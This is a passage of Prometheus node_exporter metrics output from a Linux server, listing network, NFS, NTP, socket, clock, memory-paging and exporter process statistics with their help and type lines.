untyped node_netstat_Ip_Forwarding 2 # HELP node_netstat_TcpExt_ListenDrops Statistic TcpExtListenDrops. # TYPE node_netstat_TcpExt_ListenDrops untyped node_netstat_TcpExt_ListenDrops 2807 # HELP node_netstat_TcpExt_ListenOverflows Statistic TcpExtListenOverflows. # TYPE node_netstat_TcpExt_ListenOverflows untyped node_netstat_TcpExt_ListenOverflows 2806 # HELP node_netstat_TcpExt_SyncookiesFailed Statistic TcpExtSyncookiesFailed. # TYPE node_netstat_TcpExt_SyncookiesFailed untyped node_netstat_TcpExt_SyncookiesFailed 0 # HELP node_netstat_TcpExt_SyncookiesRecv Statistic TcpExtSyncookiesRecv. # TYPE node_netstat_TcpExt_SyncookiesRecv untyped node_netstat_TcpExt_SyncookiesRecv 0 # HELP node_netstat_TcpExt_SyncookiesSent Statistic TcpExtSyncookiesSent. # TYPE node_netstat_TcpExt_SyncookiesSent untyped node_netstat_TcpExt_SyncookiesSent 0 # HELP node_netstat_TcpExt_TCPSynRetrans Statistic TcpExtTCPSynRetrans. # TYPE node_netstat_TcpExt_TCPSynRetrans untyped node_netstat_TcpExt_TCPSynRetrans 1.946946e+06 # HELP node_netstat_Tcp_ActiveOpens Statistic TcpActiveOpens. # TYPE node_netstat_Tcp_ActiveOpens untyped node_netstat_Tcp_ActiveOpens 1.1061233e+07 # HELP node_netstat_Tcp_CurrEstab Statistic TcpCurrEstab. # TYPE node_netstat_Tcp_CurrEstab untyped node_netstat_Tcp_CurrEstab 587 # HELP node_netstat_Tcp_InErrs Statistic TcpInErrs. # TYPE node_netstat_Tcp_InErrs untyped node_netstat_Tcp_InErrs 2631 # HELP node_netstat_Tcp_PassiveOpens Statistic TcpPassiveOpens. # TYPE node_netstat_Tcp_PassiveOpens untyped node_netstat_Tcp_PassiveOpens 536014 # HELP node_netstat_Tcp_RetransSegs Statistic TcpRetransSegs. # TYPE node_netstat_Tcp_RetransSegs untyped node_netstat_Tcp_RetransSegs 9.1714e+06 # HELP node_netstat_Udp6_InDatagrams Statistic Udp6InDatagrams. # TYPE node_netstat_Udp6_InDatagrams untyped node_netstat_Udp6_InDatagrams 1866 # HELP node_netstat_Udp6_InErrors Statistic Udp6InErrors. # TYPE node_netstat_Udp6_InErrors untyped node_netstat_Udp6_InErrors 0 # HELP node_netstat_Udp6_NoPorts Statistic Udp6NoPorts. # TYPE node_netstat_Udp6_NoPorts untyped node_netstat_Udp6_NoPorts 0 # HELP node_netstat_Udp6_OutDatagrams Statistic Udp6OutDatagrams. # TYPE node_netstat_Udp6_OutDatagrams untyped node_netstat_Udp6_OutDatagrams 1866 # HELP node_netstat_UdpLite6_InErrors Statistic UdpLite6InErrors. # TYPE node_netstat_UdpLite6_InErrors untyped node_netstat_UdpLite6_InErrors 0 # HELP node_netstat_UdpLite_InErrors Statistic UdpLiteInErrors. # TYPE node_netstat_UdpLite_InErrors untyped node_netstat_UdpLite_InErrors 0 # HELP node_netstat_Udp_InDatagrams Statistic UdpInDatagrams. # TYPE node_netstat_Udp_InDatagrams untyped node_netstat_Udp_InDatagrams 1.04863328e+08 # HELP node_netstat_Udp_InErrors Statistic UdpInErrors. # TYPE node_netstat_Udp_InErrors untyped node_netstat_Udp_InErrors 0 # HELP node_netstat_Udp_NoPorts Statistic UdpNoPorts. # TYPE node_netstat_Udp_NoPorts untyped node_netstat_Udp_NoPorts 5.2721389e+07 # HELP node_netstat_Udp_OutDatagrams Statistic UdpOutDatagrams. # TYPE node_netstat_Udp_OutDatagrams untyped node_netstat_Udp_OutDatagrams 4.95919363e+08 # HELP node_network_receive_bytes_total Network device statistic receive_bytes. # TYPE node_network_receive_bytes_total counter node_network_receive_bytes_total{device="ens4"} 4.185762860489e+12 node_network_receive_bytes_total{device="lo"} 6.8610497565e+10 # HELP node_network_receive_compressed_total Network device statistic receive_compressed. # TYPE node_network_receive_compressed_total counter node_network_receive_compressed_total{device="ens4"} 0 node_network_receive_compressed_total{device="lo"} 0 # HELP node_network_receive_drop_total Network device statistic receive_drop. # TYPE node_network_receive_drop_total counter node_network_receive_drop_total{device="ens4"} 0 node_network_receive_drop_total{device="lo"} 0 # HELP node_network_receive_errs_total Network device statistic receive_errs. # TYPE node_network_receive_errs_total counter node_network_receive_errs_total{device="ens4"} 0 node_network_receive_errs_total{device="lo"} 0 # HELP node_network_receive_fifo_total Network device statistic receive_fifo. # TYPE node_network_receive_fifo_total counter node_network_receive_fifo_total{device="ens4"} 0 node_network_receive_fifo_total{device="lo"} 0 # HELP node_network_receive_frame_total Network device statistic receive_frame. # TYPE node_network_receive_frame_total counter node_network_receive_frame_total{device="ens4"} 18 node_network_receive_frame_total{device="lo"} 0 # HELP node_network_receive_multicast_total Network device statistic receive_multicast. # TYPE node_network_receive_multicast_total counter node_network_receive_multicast_total{device="ens4"} 0 node_network_receive_multicast_total{device="lo"} 0 # HELP node_network_receive_packets_total Network device statistic receive_packets. # TYPE node_network_receive_packets_total counter node_network_receive_packets_total{device="ens4"} 2.793562728e+09 node_network_receive_packets_total{device="lo"} 1.59632397e+08 # HELP node_network_transmit_bytes_total Network device statistic transmit_bytes. # TYPE node_network_transmit_bytes_total counter node_network_transmit_bytes_total{device="ens4"} 4.538005879824e+12 node_network_transmit_bytes_total{device="lo"} 6.8610497565e+10 # HELP node_network_transmit_carrier_total Network device statistic transmit_carrier. # TYPE node_network_transmit_carrier_total counter node_network_transmit_carrier_total{device="ens4"} 0 node_network_transmit_carrier_total{device="lo"} 0 # HELP node_network_transmit_colls_total Network device statistic transmit_colls. # TYPE node_network_transmit_colls_total counter node_network_transmit_colls_total{device="ens4"} 0 node_network_transmit_colls_total{device="lo"} 0 # HELP node_network_transmit_compressed_total Network device statistic transmit_compressed. # TYPE node_network_transmit_compressed_total counter node_network_transmit_compressed_total{device="ens4"} 0 node_network_transmit_compressed_total{device="lo"} 0 # HELP node_network_transmit_drop_total Network device statistic transmit_drop. # TYPE node_network_transmit_drop_total counter node_network_transmit_drop_total{device="ens4"} 0 node_network_transmit_drop_total{device="lo"} 0 # HELP node_network_transmit_errs_total Network device statistic transmit_errs. # TYPE node_network_transmit_errs_total counter node_network_transmit_errs_total{device="ens4"} 0 node_network_transmit_errs_total{device="lo"} 0 # HELP node_network_transmit_fifo_total Network device statistic transmit_fifo. # TYPE node_network_transmit_fifo_total counter node_network_transmit_fifo_total{device="ens4"} 0 node_network_transmit_fifo_total{device="lo"} 0 # HELP node_network_transmit_packets_total Network device statistic transmit_packets. # TYPE node_network_transmit_packets_total counter node_network_transmit_packets_total{device="ens4"} 3.053556923e+09 node_network_transmit_packets_total{device="lo"} 1.59632397e+08 # HELP node_nf_conntrack_entries Number of currently allocated flow entries for connection tracking. # TYPE node_nf_conntrack_entries gauge node_nf_conntrack_entries 0 # HELP node_nf_conntrack_entries_limit Maximum size of connection tracking table. # TYPE node_nf_conntrack_entries_limit gauge node_nf_conntrack_entries_limit 262144 # HELP node_nfs_connections_total Total number of NFSd TCP connections. # TYPE node_nfs_connections_total counter node_nfs_connections_total 0 # HELP node_nfs_packets_total Total NFSd network packets (sent+received) by protocol type. # TYPE node_nfs_packets_total counter node_nfs_packets_total{protocol="tcp"} 0 node_nfs_packets_total{protocol="udp"} 0 # HELP node_nfs_requests_total Number of NFS procedures invoked. # TYPE node_nfs_requests_total counter node_nfs_requests_total{method="Access",proto="3"} 0 node_nfs_requests_total{method="Access",proto="4"} 2.774047e+07 node_nfs_requests_total{method="Allocate",proto="4"} 0 node_nfs_requests_total{method="BindConnToSession",proto="4"} 0 node_nfs_requests_total{method="Clone",proto="4"} 0 node_nfs_requests_total{method="Close",proto="4"} 3.982723e+06 node_nfs_requests_total{method="Commit",proto="3"} 0 node_nfs_requests_total{method="Commit",proto="4"} 14958 node_nfs_requests_total{method="Create",proto="2"} 0 node_nfs_requests_total{method="Create",proto="3"} 0 node_nfs_requests_total{method="Create",proto="4"} 2.781702e+06 node_nfs_requests_total{method="CreateSession",proto="4"} 0 node_nfs_requests_total{method="DeAllocate",proto="4"} 0 node_nfs_requests_total{method="DelegReturn",proto="4"} 1.023714e+06 node_nfs_requests_total{method="DestroyClientID",proto="4"} 0 node_nfs_requests_total{method="DestroySession",proto="4"} 0 node_nfs_requests_total{method="ExchangeID",proto="4"} 0 node_nfs_requests_total{method="FreeStateID",proto="4"} 0 node_nfs_requests_total{method="FsInfo",proto="3"} 0 node_nfs_requests_total{method="FsInfo",proto="4"} 128 node_nfs_requests_total{method="FsLocations",proto="4"} 0 node_nfs_requests_total{method="FsStat",proto="2"} 0 node_nfs_requests_total{method="FsStat",proto="3"} 0 node_nfs_requests_total{method="FsidPresent",proto="4"} 0 node_nfs_requests_total{method="GetACL",proto="4"} 0 node_nfs_requests_total{method="GetAttr",proto="2"} 0 node_nfs_requests_total{method="GetAttr",proto="3"} 0 node_nfs_requests_total{method="GetDeviceInfo",proto="4"} 0 node_nfs_requests_total{method="GetDeviceList",proto="4"} 0 node_nfs_requests_total{method="GetLeaseTime",proto="4"} 0 node_nfs_requests_total{method="Getattr",proto="4"} 2.4369711e+07 node_nfs_requests_total{method="LayoutCommit",proto="4"} 0 node_nfs_requests_total{method="LayoutGet",proto="4"} 0 node_nfs_requests_total{method="LayoutReturn",proto="4"} 0 node_nfs_requests_total{method="LayoutStats",proto="4"} 0 node_nfs_requests_total{method="Link",proto="2"} 0 node_nfs_requests_total{method="Link",proto="3"} 0 node_nfs_requests_total{method="Link",proto="4"} 0 node_nfs_requests_total{method="Lock",proto="4"} 0 node_nfs_requests_total{method="Lockt",proto="4"} 0 node_nfs_requests_total{method="Locku",proto="4"} 0 node_nfs_requests_total{method="Lookup",proto="2"} 0 node_nfs_requests_total{method="Lookup",proto="3"} 0 node_nfs_requests_total{method="Lookup",proto="4"} 2.3518848e+07 node_nfs_requests_total{method="LookupRoot",proto="4"} 32 node_nfs_requests_total{method="MkDir",proto="2"} 0 node_nfs_requests_total{method="MkDir",proto="3"} 0 node_nfs_requests_total{method="MkNod",proto="3"} 0 node_nfs_requests_total{method="Null",proto="2"} 0 node_nfs_requests_total{method="Null",proto="3"} 0 node_nfs_requests_total{method="Null",proto="4"} 0 node_nfs_requests_total{method="Open",proto="4"} 3.983419e+06 node_nfs_requests_total{method="OpenConfirm",proto="4"} 312 node_nfs_requests_total{method="OpenDowngrade",proto="4"} 290 node_nfs_requests_total{method="OpenNoattr",proto="4"} 0 node_nfs_requests_total{method="PathConf",proto="3"} 0 node_nfs_requests_total{method="Pathconf",proto="4"} 96 node_nfs_requests_total{method="Read",proto="2"} 0 node_nfs_requests_total{method="Read",proto="3"} 0 node_nfs_requests_total{method="Read",proto="4"} 2.371944e+06 node_nfs_requests_total{method="ReadDir",proto="2"} 0 node_nfs_requests_total{method="ReadDir",proto="3"} 0 node_nfs_requests_total{method="ReadDir",proto="4"} 1.157989e+07 node_nfs_requests_total{method="ReadDirPlus",proto="3"} 0 node_nfs_requests_total{method="ReadLink",proto="2"} 0 node_nfs_requests_total{method="ReadLink",proto="3"} 0 node_nfs_requests_total{method="ReadLink",proto="4"} 0 node_nfs_requests_total{method="ReclaimComplete",proto="4"} 0 node_nfs_requests_total{method="ReleaseLockowner",proto="4"} 0 node_nfs_requests_total{method="Remove",proto="2"} 0 node_nfs_requests_total{method="Remove",proto="3"} 0 node_nfs_requests_total{method="Remove",proto="4"} 4.142243e+06 node_nfs_requests_total{method="Rename",proto="2"} 0 node_nfs_requests_total{method="Rename",proto="3"} 0 node_nfs_requests_total{method="Rename",proto="4"} 3.489317e+06 node_nfs_requests_total{method="Renew",proto="4"} 1.179434e+06 node_nfs_requests_total{method="RmDir",proto="2"} 0 node_nfs_requests_total{method="RmDir",proto="3"} 0 node_nfs_requests_total{method="Root",proto="2"} 0 node_nfs_requests_total{method="Secinfo",proto="4"} 0 node_nfs_requests_total{method="SecinfoNoName",proto="4"} 0 node_nfs_requests_total{method="Seek",proto="4"} 0 node_nfs_requests_total{method="Sequence",proto="4"} 0 node_nfs_requests_total{method="ServerCaps",proto="4"} 223 node_nfs_requests_total{method="SetACL",proto="4"} 0 node_nfs_requests_total{method="SetAttr",proto="2"} 0 node_nfs_requests_total{method="SetAttr",proto="3"} 0 node_nfs_requests_total{method="SetClientID",proto="4"} 136 node_nfs_requests_total{method="SetClientIDConfirm",proto="4"} 51 node_nfs_requests_total{method="Setattr",proto="4"} 3.762517e+06 node_nfs_requests_total{method="StatFs",proto="4"} 190210 node_nfs_requests_total{method="SymLink",proto="2"} 0 node_nfs_requests_total{method="SymLink",proto="3"} 0 node_nfs_requests_total{method="Symlink",proto="4"} 0 node_nfs_requests_total{method="TestStateID",proto="4"} 0 node_nfs_requests_total{method="WrCache",proto="2"} 0 node_nfs_requests_total{method="Write",proto="2"} 0 node_nfs_requests_total{method="Write",proto="3"} 0 node_nfs_requests_total{method="Write",proto="4"} 1.027577e+06 # HELP node_nfs_rpc_authentication_refreshes_total Number of RPC authentication refreshes performed. # TYPE node_nfs_rpc_authentication_refreshes_total counter node_nfs_rpc_authentication_refreshes_total 1.15156387e+08 # HELP node_nfs_rpc_retransmissions_total Number of RPC transmissions performed. # TYPE node_nfs_rpc_retransmissions_total counter node_nfs_rpc_retransmissions_total 0 # HELP node_nfs_rpcs_total Total number of RPCs performed. # TYPE node_nfs_rpcs_total counter node_nfs_rpcs_total 1.15156894e+08 # HELP node_ntp_leap NTPD leap second indicator, 2 bits. # TYPE node_ntp_leap gauge node_ntp_leap 0 # HELP node_ntp_offset_seconds ClockOffset between NTP and local clock. # TYPE node_ntp_offset_seconds gauge node_ntp_offset_seconds 5.42e-07 # HELP node_ntp_reference_timestamp_seconds NTPD ReferenceTime, UNIX timestamp. # TYPE node_ntp_reference_timestamp_seconds gauge node_ntp_reference_timestamp_seconds 1.5367177206788177e+09 # HELP node_ntp_root_delay_seconds NTPD RootDelay. # TYPE node_ntp_root_delay_seconds gauge node_ntp_root_delay_seconds 0.000320434 # HELP node_ntp_root_dispersion_seconds NTPD RootDispersion. # TYPE node_ntp_root_dispersion_seconds gauge node_ntp_root_dispersion_seconds 0.019012451 # HELP node_ntp_rtt_seconds RTT to NTPD. # TYPE node_ntp_rtt_seconds gauge node_ntp_rtt_seconds 6.0774e-05 # HELP node_ntp_sanity NTPD sanity according to RFC5905 heuristics and configured limits. # TYPE node_ntp_sanity gauge node_ntp_sanity 1 # HELP node_ntp_stratum NTPD stratum. # TYPE node_ntp_stratum gauge node_ntp_stratum 3 # HELP node_procs_blocked Number of processes blocked waiting for I/O to complete. # TYPE node_procs_blocked gauge node_procs_blocked 0 # HELP node_procs_running Number of processes in runnable state. # TYPE node_procs_running gauge node_procs_running 9 # HELP node_scrape_collector_duration_seconds node_exporter: Duration of a collector scrape. # TYPE node_scrape_collector_duration_seconds gauge node_scrape_collector_duration_seconds{collector="arp"} 5.1743e-05 node_scrape_collector_duration_seconds{collector="bcache"} 3.4416e-05 node_scrape_collector_duration_seconds{collector="bonding"} 2.3109e-05 node_scrape_collector_duration_seconds{collector="conntrack"} 7.8792e-05 node_scrape_collector_duration_seconds{collector="cpu"} 0.00205127 node_scrape_collector_duration_seconds{collector="diskstats"} 0.000286626 node_scrape_collector_duration_seconds{collector="edac"} 3.6095e-05 node_scrape_collector_duration_seconds{collector="entropy"} 7.2439e-05 node_scrape_collector_duration_seconds{collector="filefd"} 3.2881e-05 node_scrape_collector_duration_seconds{collector="filesystem"} 0.002301951 node_scrape_collector_duration_seconds{collector="hwmon"} 3.2863e-05 node_scrape_collector_duration_seconds{collector="infiniband"} 3.1524e-05 node_scrape_collector_duration_seconds{collector="ipvs"} 3.5207e-05 node_scrape_collector_duration_seconds{collector="loadavg"} 8.2103e-05 node_scrape_collector_duration_seconds{collector="mdadm"} 4.476e-05 node_scrape_collector_duration_seconds{collector="meminfo"} 0.001430234 node_scrape_collector_duration_seconds{collector="netdev"} 0.001360816 node_scrape_collector_duration_seconds{collector="netstat"} 0.002408957 node_scrape_collector_duration_seconds{collector="nfs"} 0.000326346 node_scrape_collector_duration_seconds{collector="nfsd"} 5.0383e-05 node_scrape_collector_duration_seconds{collector="ntp"} 0.000241084 node_scrape_collector_duration_seconds{collector="sockstat"} 0.000112228 node_scrape_collector_duration_seconds{collector="stat"} 0.000919111 node_scrape_collector_duration_seconds{collector="textfile"} 0.0019691 node_scrape_collector_duration_seconds{collector="time"} 2.8535e-05 node_scrape_collector_duration_seconds{collector="timex"} 2.2657e-05 node_scrape_collector_duration_seconds{collector="uname"} 0.001465533 node_scrape_collector_duration_seconds{collector="vmstat"} 0.00024168 node_scrape_collector_duration_seconds{collector="wifi"} 0.000349195 node_scrape_collector_duration_seconds{collector="xfs"} 1.8487e-05 node_scrape_collector_duration_seconds{collector="zfs"} 0.000231824 # HELP node_scrape_collector_success node_exporter: Whether a collector succeeded. # TYPE node_scrape_collector_success gauge node_scrape_collector_success{collector="arp"} 1 node_scrape_collector_success{collector="bcache"} 1 node_scrape_collector_success{collector="bonding"} 1 node_scrape_collector_success{collector="conntrack"} 1 node_scrape_collector_success{collector="cpu"} 1 node_scrape_collector_success{collector="diskstats"} 1 node_scrape_collector_success{collector="edac"} 1 node_scrape_collector_success{collector="entropy"} 1 node_scrape_collector_success{collector="filefd"} 1 node_scrape_collector_success{collector="filesystem"} 1 node_scrape_collector_success{collector="hwmon"} 1 node_scrape_collector_success{collector="infiniband"} 1 node_scrape_collector_success{collector="ipvs"} 1 node_scrape_collector_success{collector="loadavg"} 1 node_scrape_collector_success{collector="mdadm"} 1 node_scrape_collector_success{collector="meminfo"} 1 node_scrape_collector_success{collector="netdev"} 1 node_scrape_collector_success{collector="netstat"} 1 node_scrape_collector_success{collector="nfs"} 1 node_scrape_collector_success{collector="nfsd"} 1 node_scrape_collector_success{collector="ntp"} 1 node_scrape_collector_success{collector="sockstat"} 1 node_scrape_collector_success{collector="stat"} 1 node_scrape_collector_success{collector="textfile"} 1 node_scrape_collector_success{collector="time"} 1 node_scrape_collector_success{collector="timex"} 1 node_scrape_collector_success{collector="uname"} 1 node_scrape_collector_success{collector="vmstat"} 1 node_scrape_collector_success{collector="wifi"} 1 node_scrape_collector_success{collector="xfs"} 1 node_scrape_collector_success{collector="zfs"} 1 # HELP node_sockstat_FRAG_inuse Number of FRAG sockets in state inuse. # TYPE node_sockstat_FRAG_inuse gauge node_sockstat_FRAG_inuse 0 # HELP node_sockstat_FRAG_memory Number of FRAG sockets in state memory. # TYPE node_sockstat_FRAG_memory gauge node_sockstat_FRAG_memory 0 # HELP node_sockstat_RAW_inuse Number of RAW sockets in state inuse. # TYPE node_sockstat_RAW_inuse gauge node_sockstat_RAW_inuse 0 # HELP node_sockstat_TCP_alloc Number of TCP sockets in state alloc. # TYPE node_sockstat_TCP_alloc gauge node_sockstat_TCP_alloc 658 # HELP node_sockstat_TCP_inuse Number of TCP sockets in state inuse. # TYPE node_sockstat_TCP_inuse gauge node_sockstat_TCP_inuse 543 # HELP node_sockstat_TCP_mem Number of TCP sockets in state mem. # TYPE node_sockstat_TCP_mem gauge node_sockstat_TCP_mem 134 # HELP node_sockstat_TCP_mem_bytes Number of TCP sockets in state mem_bytes. # TYPE node_sockstat_TCP_mem_bytes gauge node_sockstat_TCP_mem_bytes 548864 # HELP node_sockstat_TCP_orphan Number of TCP sockets in state orphan. # TYPE node_sockstat_TCP_orphan gauge node_sockstat_TCP_orphan 0 # HELP node_sockstat_TCP_tw Number of TCP sockets in state tw. # TYPE node_sockstat_TCP_tw gauge node_sockstat_TCP_tw 36 # HELP node_sockstat_UDPLITE_inuse Number of UDPLITE sockets in state inuse. # TYPE node_sockstat_UDPLITE_inuse gauge node_sockstat_UDPLITE_inuse 0 # HELP node_sockstat_UDP_inuse Number of UDP sockets in state inuse. # TYPE node_sockstat_UDP_inuse gauge node_sockstat_UDP_inuse 25 # HELP node_sockstat_UDP_mem Number of UDP sockets in state mem. # TYPE node_sockstat_UDP_mem gauge node_sockstat_UDP_mem 8 # HELP node_sockstat_UDP_mem_bytes Number of UDP sockets in state mem_bytes. # TYPE node_sockstat_UDP_mem_bytes gauge node_sockstat_UDP_mem_bytes 32768 # HELP node_sockstat_sockets_used Number of sockets sockets in state used. # TYPE node_sockstat_sockets_used gauge node_sockstat_sockets_used 1256 # HELP node_textfile_mtime_seconds Unixtime mtime of textfiles successfully read. # TYPE node_textfile_mtime_seconds gauge node_textfile_mtime_seconds{file="apt_metrics.prom"} 1.536717808e+09 node_textfile_mtime_seconds{file="chef-client.prom"} 1.536715909e+09 node_textfile_mtime_seconds{file="ntpd_metrics.prom"} 1.536717931e+09 node_textfile_mtime_seconds{file="omnibus_build_info.prom"} 1.536717961e+09 # HELP node_textfile_scrape_error 1 if there was an error opening or reading a file, 0 otherwise # TYPE node_textfile_scrape_error gauge node_textfile_scrape_error 0 # HELP node_time_seconds System time in seconds since epoch (1970). # TYPE node_time_seconds gauge node_time_seconds 1.5367179618175457e+09 # HELP node_timex_estimated_error_seconds Estimated error in seconds. # TYPE node_timex_estimated_error_seconds gauge node_timex_estimated_error_seconds 3e-05 # HELP node_timex_frequency_adjustment_ratio Local clock frequency adjustment. # TYPE node_timex_frequency_adjustment_ratio gauge node_timex_frequency_adjustment_ratio 1.0000857098693847 # HELP node_timex_loop_time_constant Phase-locked loop time constant. # TYPE node_timex_loop_time_constant gauge node_timex_loop_time_constant 10 # HELP node_timex_maxerror_seconds Maximum error in seconds. # TYPE node_timex_maxerror_seconds gauge node_timex_maxerror_seconds 0.13608 # HELP node_timex_offset_seconds Time offset in between local system and reference clock. # TYPE node_timex_offset_seconds gauge node_timex_offset_seconds 1.4201e-05 # HELP node_timex_pps_calibration_total Pulse per second count of calibration intervals. # TYPE node_timex_pps_calibration_total counter node_timex_pps_calibration_total 0 # HELP node_timex_pps_error_total Pulse per second count of calibration errors. # TYPE node_timex_pps_error_total counter node_timex_pps_error_total 0 # HELP node_timex_pps_frequency_hertz Pulse per second frequency. # TYPE node_timex_pps_frequency_hertz gauge node_timex_pps_frequency_hertz 0 # HELP node_timex_pps_jitter_seconds Pulse per second jitter. # TYPE node_timex_pps_jitter_seconds gauge node_timex_pps_jitter_seconds 0 # HELP node_timex_pps_jitter_total Pulse per second count of jitter limit exceeded events. # TYPE node_timex_pps_jitter_total counter node_timex_pps_jitter_total 0 # HELP node_timex_pps_shift_seconds Pulse per second interval duration. # TYPE node_timex_pps_shift_seconds gauge node_timex_pps_shift_seconds 0 # HELP node_timex_pps_stability_exceeded_total Pulse per second count of stability limit exceeded events. # TYPE node_timex_pps_stability_exceeded_total counter node_timex_pps_stability_exceeded_total 0 # HELP node_timex_pps_stability_hertz Pulse per second stability, average of recent frequency changes. # TYPE node_timex_pps_stability_hertz gauge node_timex_pps_stability_hertz 0 # HELP node_timex_status Value of the status array bits. # TYPE node_timex_status gauge node_timex_status 24577 # HELP node_timex_sync_status Is clock synchronized to a reliable server (1 = yes, 0 = no). # TYPE node_timex_sync_status gauge node_timex_sync_status 1 # HELP node_timex_tai_offset_seconds International Atomic Time (TAI) offset. # TYPE node_timex_tai_offset_seconds gauge node_timex_tai_offset_seconds 0 # HELP node_timex_tick_seconds Seconds between clock ticks. # TYPE node_timex_tick_seconds gauge node_timex_tick_seconds 0.01 # HELP node_uname_info Labeled system information as provided by the uname system call. # TYPE node_uname_info gauge node_uname_info{domainname="(none)",machine="x86_64",nodename="sidekiq-besteffort-02-sv-gprd",release="4.10.0-1009-gcp",sysname="Linux",version="#9-Ubuntu SMP Thu Nov 2 11:14:47 UTC 2017"} 1 # HELP node_vmstat_pgfault /proc/vmstat information field pgfault. # TYPE node_vmstat_pgfault untyped node_vmstat_pgfault 2.0818189759e+10 # HELP node_vmstat_pgmajfault /proc/vmstat information field pgmajfault. # TYPE node_vmstat_pgmajfault untyped node_vmstat_pgmajfault 685996 # HELP node_vmstat_pgpgin /proc/vmstat information field pgpgin. # TYPE node_vmstat_pgpgin untyped node_vmstat_pgpgin 7.5923986e+07 # HELP node_vmstat_pgpgout /proc/vmstat information field pgpgout. # TYPE node_vmstat_pgpgout untyped node_vmstat_pgpgout 3.64975922e+08 # HELP node_vmstat_pswpin /proc/vmstat information field pswpin. # TYPE node_vmstat_pswpin untyped node_vmstat_pswpin 0 # HELP node_vmstat_pswpout /proc/vmstat information field pswpout. # TYPE node_vmstat_pswpout untyped node_vmstat_pswpout 0 # HELP ntpd_delay_milliseconds NTPd metric for delay_milliseconds # TYPE ntpd_delay_milliseconds gauge ntpd_delay_milliseconds{reference="71.79.79.71",remote="169.254.169.254"} 0.146 # HELP ntpd_jitter_milliseconds NTPd metric for jitter_milliseconds # TYPE ntpd_jitter_milliseconds gauge ntpd_jitter_milliseconds{reference="71.79.79.71",remote="169.254.169.254"} 0.022 # HELP ntpd_offset NTPd metric for offset # TYPE ntpd_offset gauge ntpd_offset 0.015062 # HELP ntpd_offset_milliseconds NTPd metric for offset_milliseconds # TYPE ntpd_offset_milliseconds gauge ntpd_offset_milliseconds{reference="71.79.79.71",remote="169.254.169.254"} 0.015 # HELP ntpd_peer_status NTPd metric for peer_status # TYPE ntpd_peer_status gauge ntpd_peer_status{reference="71.79.79.71",remote="169.254.169.254",stratum="2",type="unicast"} 6 # HELP ntpd_rootdelay NTPd metric for rootdelay # TYPE ntpd_rootdelay gauge ntpd_rootdelay 0.329 # HELP ntpd_rootdisp NTPd metric for rootdisp # TYPE ntpd_rootdisp gauge ntpd_rootdisp 18.566 # HELP ntpd_sys_jitter NTPd metric for sys_jitter # TYPE ntpd_sys_jitter gauge ntpd_sys_jitter 0 # HELP omnibus_build_info Metric read from /opt/prometheus/node_exporter/metrics/omnibus_build_info.prom # TYPE omnibus_build_info untyped omnibus_build_info{status="ii",version="11.3.0-rc6.ee.0"} 1 # HELP process_cpu_seconds_total Total user and system CPU time spent in seconds. # TYPE process_cpu_seconds_total counter process_cpu_seconds_total 10312 # HELP process_max_fds Maximum number of open file descriptors. # TYPE process_max_fds gauge process_max_fds 1024 # HELP process_open_fds Number of open file descriptors. # TYPE process_open_fds gauge process_open_fds 9 # HELP process_resident_memory_bytes Resident memory size in bytes. # TYPE process_resident_memory_bytes gauge process_resident_memory_bytes 2.8901376e+07 # HELP process_start_time_seconds Start time of the process since unix epoch in seconds. # TYPE process_start_time_seconds gauge process_start_time_seconds 1.53428459579e+09 # HELP process_virtual_memory_bytes Virtual memory size in bytes. # TYPE process_virtual_memory_bytes gauge process_virtual_memory_bytes 1.675788288e+09 # HELP promhttp_metric_handler_requests_in_flight Current number of scrapes being served. # TYPE promhttp_metric_handler_requests_in_flight gauge promhttp_metric_handler_requests_in_flight 1 # HELP promhttp_metric_handler_requests_total Total number of scrapes by HTTP status code. # TYPE promhttp_metric_handler_requests_total counter promhttp_metric_handler_requests_total{code="200"} 0 promhttp_metric_handler_requests_total{code="500"} 0 promhttp_metric_handler_requests_total{code="503"} 0 '